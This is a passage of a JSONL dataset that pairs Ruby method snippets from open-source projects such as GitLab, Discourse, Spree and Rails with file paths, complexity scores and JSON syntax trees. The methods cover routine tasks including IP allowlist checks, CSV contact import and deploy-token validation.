end","complexity_score":18.5,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ip_allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client_ip\"]},{\"type\":\"arg\",\"children\":[\"ip_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client_addr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"client_ip\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"InvalidAddressError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blocklist\"]}]},\"any?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_matches_list?\",{\"type\":\"lvar\",\"children\":[\"client_addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blocklist\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allowlist\"]}]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_matches_list?\",{\"type\":\"lvar\",\"children\":[\"client_addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allowlist\"]}]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"a7859d38-889a-4deb-8452-aafc219dd8a3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/channels_current_user_membership_controller.rb","start_line":14,"raw_source":"def destroy\n    Chat::LeaveChannel.call(service_params) do\n      on_success { render(json: success_json) }\n      on_failure { render(json: failed_json, status: :unprocessable_entity) }\n      on_model_not_found(:channel) { raise Discourse::NotFound }\n      on_failed_contract do |contract|\n        render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)\n      end\n    end\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"LeaveChannel\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"service_params\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_contract\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}]}","id":"03ba458f-740a-41bb-b9d2-36ae70cbc750"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/posts_helper.rb","start_line":3,"raw_source":"def posts_json_ld_breadcrumbs(post)\n      json_ld = {\n        '@context' => 'https://schema.org',\n        '@type' => 'BreadcrumbList',\n        'itemListElement' => [\n          {\n            '@type' => 'ListItem',\n            'position' => 1,\n            'name' => Spree.t(:homepage),\n            'item' => spree.root_url(host: current_store.url_or_custom_domain)\n          },\n          {\n            '@type' => 'ListItem',\n            'position' => 2,\n            'name' => Spree.t(:blog),\n            'item' => spree.posts_url(host: current_store.url_or_custom_domain)\n          }\n        ]\n      }\n\n      post_breadcrumb = { '@type' => 'ListItem', 'name' => post.title }\n      post_category = post.post_category\n\n      if post_category.present?\n        json_ld['itemListElement'] << {\n          '@type' => 'ListItem',\n          'position' => 3,\n          'name' => post_category.title,\n          'item' => spree.category_posts_url(category_id: post.post_category.slug, host: current_store.url_or_custom_domain)\n        }\n\n        json_ld['itemListElement'] << post_breadcrumb.merge('position' => 4)\n      else\n        json_ld['itemListElement'] << post_breadcrumb.merge('position' => 3)\n      end\n\n      json_ld\n    end","complexity_score":41.73,"ast_json":"{\"type\":\"def\",\"children\":[\"posts_json_ld_breadcrumbs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_ld\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@context\"]},{\"type\":\"str\",\"children\":[\"https://schema.org\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"BreadcrumbList\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"itemListElement\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"ListItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"homepage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"root_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"url_or_custom_domain\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"ListItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"blog\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"posts_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"url_or_custom_domain\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_breadcrumb\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"ListItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"title\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_category\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_category\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_category\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_ld\"]},\"[]\",{\"type\":\"str\",\"children\":[\"itemListElement\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"ListItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_category\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"category_posts_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_category\"]},\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"url_or_custom_domain\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_ld\"]},\"[]\",{\"type\":\"str\",\"children\":[\"itemListElement\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_breadcrumb\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_ld\"]},\"[]\",{\"type\":\"str\",\"children\":[\"itemListElement\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_breadcrumb\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"json_ld\"]}]}]}","id":"5d9ed583-ef3d-44b2-97de-7fd5ec0d243d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/experiment_tracking/experiment_repository.rb","start_line":47,"raw_source":"def add_tags(experiment, tag_definitions)\n        return unless experiment.present? && tag_definitions.present?\n\n        entities = tag_definitions.map do |d|\n          {\n            experiment_id: experiment.id,\n            name: d[:key],\n            value: d[:value],\n            **timestamps\n          }\n        end\n\n        ::Ml::ExperimentMetadata.insert_all(entities, returning: false) unless entities.empty?\n      end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"experiment\"]},{\"type\":\"arg\",\"children\":[\"tag_definitions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_definitions\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"entities\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_definitions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"experiment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timestamps\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entities\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ml\"]},\"ExperimentMetadata\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"entities\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"1fdece3a-4fee-4704-9fa5-ef53611002d4"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/data_import_job.rb","start_line":30,"raw_source":"def parse_csv_and_build_contacts\n    contacts = []\n    rejected_contacts = []\n    # Ensuring that importing non utf-8 characters will not throw error\n    data = @data_import.import_file.download\n    utf8_data = data.force_encoding('UTF-8')\n\n    # Ensure that the data is valid UTF-8, preserving valid characters\n    clean_data = utf8_data.valid_encoding? ? utf8_data : utf8_data.encode('UTF-16le', invalid: :replace, replace: '').encode('UTF-8')\n\n    csv = CSV.parse(clean_data, headers: true)\n\n    csv.each do |row|\n      current_contact = @contact_manager.build_contact(row.to_h.with_indifferent_access)\n      if current_contact.valid?\n        contacts << current_contact\n      else\n        append_rejected_contact(row, current_contact, rejected_contacts)\n      end\n    end\n\n    [contacts, rejected_contacts]\n  end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_csv_and_build_contacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contacts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rejected_contacts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data_import\"]},\"import_file\"]},\"download\"]}]},{\"type\":\"lvasgn\",\"children\":[\"utf8_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clean_data\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"utf8_data\"]},\"valid_encoding?\"]},{\"type\":\"lvar\",\"children\":[\"utf8_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"utf8_data\"]},\"encode\",{\"type\":\"str\",\"children\":[\"UTF-16le\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"encode\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"clean_data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_contact\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_manager\"]},\"build_contact\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"to_h\"]},\"with_indifferent_access\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_contact\"]},\"valid?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contacts\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"current_contact\"]}]},{\"type\":\"send\",\"children\":[null,\"append_rejected_contact\",{\"type\":\"lvar\",\"children\":[\"row\"]},{\"type\":\"lvar\",\"children\":[\"current_contact\"]},{\"type\":\"lvar\",\"children\":[\"rejected_contacts\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contacts\"]},{\"type\":\"lvar\",\"children\":[\"rejected_contacts\"]}]}]}]}","id":"44de3c0f-fd0e-4f95-8099-b497a7af98a6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/response.rb","start_line":414,"raw_source":"def each\n        File.open(to_path, \"rb\") do |file|\n          while chunk = file.read(16384)\n            yield chunk\n          end\n        end\n      end","complexity_score":8.25,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"to_path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"read\",{\"type\":\"int\",\"children\":[16384]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]}]}]}","id":"cc59f8f4-7ccd-453d-bb28-4a4dc461f1d7"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_null_io.rb","start_line":38,"raw_source":"def test_read_with_nil_length\n    assert_equal \"\", nio.read(nil)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_read_with_nil_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nio\"]},\"read\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"9dd1ae6a-6c77-4c94-8bb9-a0681093d8e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/work_items/widgets/time_tracking/timelog_type.rb","start_line":38,"raw_source":"def user\n            Gitlab::Graphql::Loaders::BatchModelLoader.new(\n              User, object.user_id, default_value: ::Users::Internal.ghost\n            ).find\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Loaders\"]},\"BatchModelLoader\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"Internal\"]},\"ghost\"]}]}]}]},\"find\"]}]}","id":"dede045d-8dc4-4ab6-af7f-dc14d854d629"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/api_authentication/token_resolver.rb","start_line":97,"raw_source":"def resolve_deploy_token_with_username(raw)\n        with_deploy_token(raw) do |token|\n          break unless token\n\n          # Ensure that the username matches the token. This check is a subtle\n          # departure from the existing behavior of #deploy_token_from_request.\n          # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38627#note_474826205\n          raise ::Gitlab::Auth::UnauthorizedError unless token.username == raw.username\n\n          token\n        end\n      end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_deploy_token_with_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_deploy_token\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"username\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"username\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"UnauthorizedError\"]}]}]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}","id":"13757793-1ae8-4051-af83-cd0ff3042067"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/storages_controller.rb","start_line":130,"raw_source":"def edit_storage_audience\n        update_via_turbo_stream(component: Forms::StorageAudienceFormComponent.new(@storage))\n        respond_with_turbo_streams\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_storage_audience\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Forms\"]},\"StorageAudienceFormComponent\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]}","id":"8001851c-6ae4-4d4f-9afe-c806dbb09896"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/ci/group_variables_spec.rb","start_line":118,"raw_source":"def pagination_query(params)\n      graphql_query_for(\n        :group,\n        { fullPath: group.full_path },\n        query_graphql_field('ciVariables', params, \"#{page_info} nodes { id }\")\n      )\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"full_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"str\",\"children\":[\"ciVariables\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_info\"]}]},{\"type\":\"str\",\"children\":[\" nodes { id }\"]}]}]}]}]}","id":"fb19dc4e-1fd4-4699-a7c4-b570b0b711c9"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/ai_bot/bot_controller.rb","start_line":11,"raw_source":"def show_debug_info_by_id\n        log = AiApiAuditLog.find(params[:id])\n        raise Discourse::NotFound if !log.topic\n\n        guardian.ensure_can_debug_ai_bot_conversation!(log.topic)\n        render json: AiApiAuditLogSerializer.new(log, root: false), status: :ok\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"show_debug_info_by_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiApiAuditLog\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"topic\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_debug_ai_bot_conversation!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"topic\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiApiAuditLogSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"log\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]}","id":"7688602f-b0b2-40c4-bda3-55e9c029be3b"}
